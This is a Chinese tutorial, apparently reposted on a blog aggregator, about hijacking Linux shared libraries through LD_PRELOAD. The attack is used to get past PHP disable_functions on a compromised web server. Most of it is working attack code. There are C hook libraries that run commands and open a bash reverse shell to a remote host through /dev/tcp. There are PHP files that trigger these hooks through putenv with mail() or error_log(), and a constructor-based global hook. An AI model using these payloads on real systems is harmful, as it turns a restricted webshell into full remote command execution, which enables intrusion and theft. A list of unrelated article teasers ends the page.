利用 LD_PRELOAD劫持动态链接库,绕过 disable_function

目录

LD_PRELOAD 简介

程序的链接

动态链接库的搜索路径搜索的先后顺序:

利用LD_PRELOAD

简单的劫持

执行id命令

反弹shell

引申至 PHP

绕过disable_function

方法1:使用蚁剑的扩展工具绕过disable_function

方法2:利用 mail 函数启动新进程

方法3:利用 error_log 函数启动新进程

方法4:劫持系统新进程


LD_PRELOAD 简介

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

通过上述对 LD_PRELOAD 的功能的描述,我们可以想到,既然能够覆盖正常的函数库,那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序,来实现我们的目的呢?

程序的链接

程序的链接可以分为以下三种

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

静态链接库,在Linux下文件名后缀为.a,如libstdc++.a。在编译链接时直接将目标代码加入可执行程序。

动态链接库,在Linux下是.so文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享,因此, 动态链接库也称共享库 或者共享对象。

动态链接库的搜索路径搜索的先后顺序:

  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 默认的动态库搜索路径/lib

  • 默认的动态库搜索路径/usr/lib

不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH。

下面是对LD_PRELOAD和LDPRELOAD_PATH的对比介绍:

LD_PRELOAD(not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。

LD_LIBRARY_PATH是在加载无论如何都会加载的库时要搜索的 目录列表。

 可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库

利用LD_PRELOAD

我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

  2. 将所写的 c 文件编译为动态链接库。

  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了

  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中,我们这里用一个 C 语言的 demo 来进行一下测试。

这里我的实验环境是Ubuntu

简单的劫持

(1)首先编辑一个c文件:
cat demo.c 

#include <stdio.h>
#include <string.h>int main(int argc, char **argv) {  char name[] = "mon"; //定义了数组name[] 里面有“mon”if (argc < 2) {printf("usage: %s <given-name>\n", argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf("\033[0;32;32mYour name Correct!\n\033[m");return 1;} else {printf("\033[0;32;31mYour name Wrong!\n\033[m");return 0;}
}

(2)然后使用gcc -o demo demo.c来编译

gcc -o demo demo.c 

编译的结果:

(3)可以试着运行一下这个编译后的文件:

可以看到他需要传入一个参数,那么我们就给他传入一个参数试试:

 

可以看到这时的结果为Your name Wrong!

(4)我们接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数  

cat hook_strcmp.c:

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) { //这里吧系统提供给我们的函数劫持了,让这个程序永远返回为假,让上面的c语言代码中的if语句永远为假if (getenv("LD_PRELOAD") == NULL) { return 0;}unsetenv("LD_PRELOAD");return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

(5)现在编译这个动态链接库

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

(6)然后设置环境变量:

 export LD_PRELOAD=$PWD/hook_strcmp.so

(7)现在我们可以再次尝试执行demo.c查看结果:

可以看到,现在我们无论传入什么值,结果都会输出Your name Correct!

此时我们已经使用LD_PRELOAD劫持了 demo.c 函数的动态链接库

在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws命令来查看,同时系统命令存储的路径为/uer/bin

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?

那这里尝试使用使用LD_PRELOAD劫持ls,在其动态链接库执行前执行id操作

执行id命令

(1)首选编写一个劫持文件hook_ls_strcmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("id");
}int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

(2)编译为动态链接库的形式

 gcc -Wall -fPIC -shared -o hook_ls_strcmp.so hook_ls_strcmp.c 
/usr/include/string.h: In function ‘strncmp’:
hook_ls_strcmp.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

 注:这里只是有一个警告,不用官它

编译完成后的:

设置环境变量:

 export  LD_PRELOAD=$PWD/hook_ls_strcmp.so

然后尝试使用ls命令:

可以看到在正常的命令前我们劫持动态链接库,插入的id命令在ls命令前执行了!

既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell

反弹shell

这里我使用192.168.159.223(ununtu)这台设备用做被反弹主机

新建一个.c后面用于链接库的文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

反弹主机:用的是cetos的192.168.159.222主机

因为没有nc现在先安装一个nc:

yum install  nc

然后再192.168.159.222上使用nc监听着:

nc -lvvp 2333
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

然后在ubuntu上编译这个nc文件:

gcc -Wall -fPIC -shared -o hook_nc.so hook_nc.c 
/usr/include/string.h: In function ‘strncmp’:
hook_nc.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

然后将该so文件设置到环境变量中

export  LD_PRELOAD=$PWD/hook_nc.so

在centos上使用nc监听2333端口:

最后在ubuntu这里使用ls命令:

再看centos这里已经成功的反弹到ununtu的shell了

引申至 PHP

既然我们已经劫持了系统命令,那么我们是不是就有办法在 web 环境中实现基于 LD_PRELOAD 的 RCE 呢?

但是这里实际上是要仔细思考一下的。

我们需要一个 新的进程 的启动,加之环境变量的操纵与文件上传和文件包含,有时候,我们已经拿到了 shell ,但是因为disable_functions不能执行命令,不能拿到想要的东西,而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell ,就可以执行任意命令了,这也就是我们常说的 绕过 disable_function

绕过disable_function

这里的测试环境:Nginx反向代理实现负载均衡webshell

(1)首先我们进入到对应环境中

/root/AntSword-Labs-master/bypass_disable_functions
然后可以看到有9个文件夹,这里进入1中:

(2)使用docker-compose拉取环境

docker-compose up -d

 这里可以查看一下容器是否运行:

 然后查看文件会发现,这里已经有了一个现成的后门php文件

(3)尝试使用蚁剑连接一下

我们可以登录到容器中:

docker exec -it 5ce1bb59245c /bin/bash

查看这个后门木马文件:

我们可以在蚁剑中新建一个phpinfo.php文件用来查看php的配置:

在浏览器中访问:

在这里可以看到这里将所有可以进行命令执行的函数都禁用掉了,因此这个webshell什么都干不了

 我们可以在蚁剑中打开终端尝试一下:

可以看到确实什么命令都无法执行

想要执行命令需要利用以下两个条件:

第一 php需要启动一个新的进程

第二 控制环境变量

不过这里我们可以注意到一个点很关键,我们需要启动一个新的进程,并利用 LD_PRELOAD 劫持这个进程相关的链接库。

方法1:使用蚁剑的扩展工具绕过disable_function

使用「绕过 disable_functions」插件, 选择 LD_PRELOAD 模式进行

注:没有该插件可以到插件市场中安装一个

然后修改webshell:

然后在到终端测试,就会发现这里可以执行命令了

方法2:利用 mail 函数启动新进程

我们可以先来看一下 mail 函数会调用什么动态链接库:

(1)首先写一个 mail.php

<?php
mail("a@localhost","","","","");
?>

(2)执行以下命令查看进程调用的系统函数明细

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

 (3)然后我们编写劫持mail的c文件hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}uid_t getuid() {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

(4)编译

gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c 
hook_getuid.c: In function ‘getuid’:
hook_getuid.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

(5)编译后我们可以利用 putenv 函数来实现链接库的设置  

<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so'); //注意,这里需要有权限
mail("a@localhost","","","","");
?>

(6)现在centos上对2333端口进行监听

(7) 在ubuntu上执行mail.php文件

(8)然后就可以看到centos这里成功的反弹了ubuntu的shell

方法3:利用 error_log 函数启动新进程

error_log 也存在发送信息的行为,我们可以看到这里也是向邮箱中发送信息,决定发送方式的是倒数第三个参数,为 1 时为邮箱,当然也有可以不存在的参数。

方法与mail的方法大致相同,只需要将php文件修改为以下内容即可

<?php
putenv('LD_PRELOAD=/usr/share/nginx/html/hook_getuid.so');
error_log("",1,"","");
?>

我们可以发现,上面的情况实际上导致了我们的攻击面是非常窄小的,我们在实际情况中很容易就会出现并没有安装 sendmail 的情况,就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢?下面这种方法就可以

方法4:劫持系统新进程

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:

查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

系统通过 LD_PRELOAD 预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那么就完全可以不依赖 sendmail 了。

这里场景让人不禁联想到构造方法,最后找到了在 GCC 中有一个 C 语言的扩展修饰符:

`__attribute__((constructor))` ,这个修饰符可以让由它修饰的函数在 main() 之前执行,如果它出现在我们的动态链接库中,那么我们的动态链接库文件一旦被系统加载就将立即执行`__attribute__((constructor))` 所修饰的函数。

这样就将我们的格局打开了,我们要做的是劫持动态链接库这个共享对象本身而不是单独局限于劫持某几个函数。

以劫持 ls 为例,我们之前所做的就是找到 ls 命令所调用的某一个动态链接库,然后对其进行劫持,但是我们在这里完全可以使用`__attribute__((constructor))` 自动加载之后来直接对 ls 命令进行劫持

(1)我们新建一个global_hook.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");system("id");
}

(2)编译

gcc -shared -fPIC global_hook.c -o global_hook.so

(3)加载到环境变量

export LD_PRELOAD=$PWD/global_hook.so

(4)我们测试以下执行命令

可以看到,这些有动态链接文件的命令在执行前都会执行id命令,这种方式这是一种全局的劫持

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/194127.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电磁兼容EMC理论基础汇总

目录 0. 序言 1. EMC的基础介绍 1.1 EMC电磁兼容的定义 1.2 EMC的重要性 1.3 EMC的三要素 2. 库仑定律 3. 趋肤效应与趋肤深度 4. 电阻抗公式 4.1 电阻 4.2 容抗 4.3 感抗 4.4 电路元件的非理想性 5. 麦克斯韦方程组 5.1 高斯磁定律 5.2 高斯定律 5.3 法拉…

Appwidget开发基本介绍

本篇主要对appwidget开发进行简单介绍&#xff0c;为后续漏洞挖掘相关做前置铺垫 appwidget简介 官方解释如下&#xff1a; 应用微件是可以嵌入其他应用&#xff08;如主屏幕&#xff09;并接收定期更新的微型应用视图。这些视图称为界面中的微件&#xff0c;您可以使用应用微…

软件工程精品课程教学网站的设计与实现

系统功能需求分析 本系统要求采用Browser/Server模式设计开发&#xff0c;可以作为一般高等院校的网络学堂&#xff1b;可以为教师的辅助教学或者网络教学提供一个完善的教学网站&#xff1b;学生可以利用本教学网站来完成一些课程的学习任务。 2.2.1 功能划分 《软件工程》教学…

Sakila数据库和World数据库

Sakila数据库和World数据库 安装MySQL8.2的时候多出两个样例数据库 Sakila数据库和World数据库 Sakila数据库是一个关于DVD租赁的样例数据库&#xff0c;用于展示MySQL的各种功能和特性。Sakila数据库中包含了多个表&#xff0c;包括电影、演员、客户、租赁记录等&#xff0c;可…

Oracle(2-6) Backup and Recovery Overview

文章目录 一、基础知识1、Categories of Failures 故障类别2、Causes of Statement Failures 语句失败的原因故障情况Resolutions 决议 3、User Process Failures 用户进程失败故障情况Resolutions 决议 4、Possible User Errors 用户错误类型故障情况Resolutions 决议 5、Inst…

实验6 二叉树操作

0x01 实验目的 掌握二叉树的基本概念&#xff0c;二叉树的存储结构使用链表。 0x02 实验内容 输入一个完全二叉树的层次遍历字符串&#xff0c;创建这个二叉树&#xff0c;输出这个二叉树的前序遍历字符串、中序遍历字符串、后序遍历字符串、结点数目、二叉树高度(上述每一个…

计算UDP报文CRC校验的总结

概述 因公司项目需求&#xff0c;遇到需要发送带UDP/IP头数据包的功能&#xff0c;经过多次尝试顺利完成&#xff0c;博文记录以备忘。 环境信息 操作系统 ARM64平台的中标麒麟Kylin V10 工具 tcpdump、wireshark、vscode 原理 请查看大佬的博文 UDP伪包头定义&#x…

MQ - 消息系统

消息系统 1、消息系统的演变 在大型系统中&#xff0c;会需要和很多子系统做交互&#xff0c;也需要消息传递&#xff0c;在诸如此类系统中&#xff0c;你会找到源系统&#xff08;消息发送方&#xff09;和 目的系统&#xff08;消息接收方&#xff09;。为了在这样的消息系…

数据结构和算法-哈夫曼树以相关代码实现

文章目录 总览带权路径长度哈夫曼树的定义哈夫曼树的构造法1法2 哈夫曼编码英文字母频次总结实验内容&#xff1a; 哈夫曼树一、上机实验的问题和要求&#xff08;需求分析&#xff09;&#xff1a;二、程序设计的基本思想&#xff0c;原理和算法描述&#xff1a;三、调试和运行…

Matter学习笔记(3)——交互模型

一、简介 1.1 交互方式 交互模型层定义了客户端和服务器设备之间可以执行哪些交互。发起交互的节点称为发起者&#xff08;通常为客户端设备&#xff09;&#xff0c;作为交互的接收者的节点称为目标&#xff08;通常为服务器设备&#xff09;。 节点通过以下方式进行交互&a…

Spring Initial 脚手架国内镜像地址

官方的脚手架下载太慢了&#xff0c;并且现在没有了Java8的选项&#xff0c;所以找到国内的脚手架镜像地址&#xff0c;推荐给大家。 首先说官方的脚手架 官方的脚手架地址为&#xff1a; https://start.spring.io/ 但是可以看到&#xff0c;并没有了Java8的选项。 所以推荐…

3dMax拼图生成工具Puzzle2D使用教程

Puzzle2D for 3dsMax拼图生成工具使用教程 Puzzle2D简介&#xff1a; 2D拼图随机生成器&#xff08;英文&#xff1a;Puzzle2D&#xff09; &#xff0c;是一款由#沐风课堂#用MAXScript脚本语言开发的3dsMax建模小工具&#xff0c;可以随机创建2D可编辑样条线拼图图形。可批量…

【tensorflow学习-选择动作】 学习tensorflow代码调用过程

a actor.choose_action(s) def choose_action(self, s):s s[np.newaxis, :]return self.sess.run(self.action, {self.s: s}) # get probabilities for all actions输入&#xff1a;s 输出&#xff1a;self.sess.run(self.action, {self.s: s}) &#xff1a;a

解决:UnboundLocalError: local variable ‘js’ referenced before assignment

解决&#xff1a;UnboundLocalError: local variable ‘js’ referenced before assignment 文章目录 解决&#xff1a;UnboundLocalError: local variable js referenced before assignment背景报错问题报错翻译报错位置代码报错原因解决方法今天的分享就到此结束了 背景 在使…

实战案例:chatglm3 基础模型多轮对话微调

chatglm3 发布了&#xff0c;这次还发了base版本的模型&#xff0c;意味着我们可以基于这个base模型去自由地做SFT了。 本项目实现了基于base模型的SFT。 base模型 https://huggingface.co/THUDM/chatglm3-6b-base由于模型较大&#xff0c;建议离线下载后放在代码目录&#…

OSG编程指南:专栏内容介绍及目录

1、专栏介绍 OpenSceneGraph&#xff08;OSG&#xff09;场景图形系统是一个基于工业标准 OpenGL 的软件接口&#xff0c;它让程序员能够更加快速、便捷地创建高性能、跨平台的交互式图形程序。本专栏基于 OSG 3.6.5版本进行源码的编写及扩展&#xff0c;也通用于其他OSG版本的…

OpenTelemetry系列 - 第2篇 Java端接入OpenTelemetry

目录 一、架构说明二、方式1 - 自动化2.1 opentelemetry-javaagent.jar&#xff08;Java8 &#xff09;2.2 使用opentelemetry-javaagent.jar完成自动注入2.3 配置opentelemetry-javaagent.jar2.4 使用注解&#xff08;WithSpan, SpanAttribute&#xff09;2.5.1 代码集成WithS…

【栈和队列(2)】

文章目录 前言队列队列方法队列模拟实现循环队列练习1 队列实现栈 前言 队列和栈是相反的&#xff0c;栈是先进后出&#xff0c;队列是先进先出&#xff0c;相当于排队打饭&#xff0c;排第一的是最先打到饭出去的。 队列 队列&#xff1a;只允许在一端进行插入数据操作&…

20、Resnet 为什么这么重要

&#xff08;本文已加入“计算机视觉入门与调优”专栏&#xff0c;点击专栏查看更多文章信息&#xff09; resnet 这一网络的重要性&#xff0c;上一节大概介绍了一下&#xff0c;可以从以下两个方面来有所体现&#xff1a;第一是 resnet 广泛的作为其他神经网络的 back bone&…